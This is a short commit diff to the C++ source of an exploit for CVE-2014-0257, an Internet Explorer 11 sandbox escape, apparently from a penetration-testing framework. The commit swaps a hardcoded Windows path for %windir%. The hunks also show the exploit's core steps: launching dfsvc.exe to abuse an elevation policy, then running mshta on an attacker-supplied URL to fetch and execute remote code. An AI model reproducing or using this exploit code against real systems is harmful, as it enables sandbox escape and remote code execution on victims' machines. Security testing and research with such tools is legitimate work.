Use %windir%

Author: jvazquez-r7

external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.cpp

@@ -90,11 +90,11 @@ template<typename T> T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vecto
 	return retObj;
 }
 
-bstr_t GetExploitUrl()
+bstr_t GetEnv(LPWSTR env)
 {
 	WCHAR buf[MAX_ENV];
 
-	GetEnvironmentVariable(L"MYURL", buf, MAX_ENV);
+	GetEnvironmentVariable(env, buf, MAX_ENV);
 
 	return buf;
 }
@@ -119,7 +119,7 @@ void DoDfsvcExploit()
 		PROCESS_INFORMATION procInfo = { 0 };
 
 		// Start dfsvc (because we can due to the ElevationPolicy)
-		if (CreateProcess(L"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe", cmdline,
+		if (CreateProcess(GetEnv(L"windir") + L"\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe", cmdline,
 			nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo))
 		{
 			CloseHandle(procInfo.hProcess);
@@ -166,7 +166,7 @@ void DoDfsvcExploit()
 					std::vector<variant_t> startArgs;
 
 					startArgs.push_back(L"mshta");
-					startArgs.push_back(GetExploitUrl());
+					startArgs.push_back(GetEnv(L"MYURL"));
 
 					ExecuteMethod<mscorlib::_ObjectPtr>(startMethod, startArgs);
 				}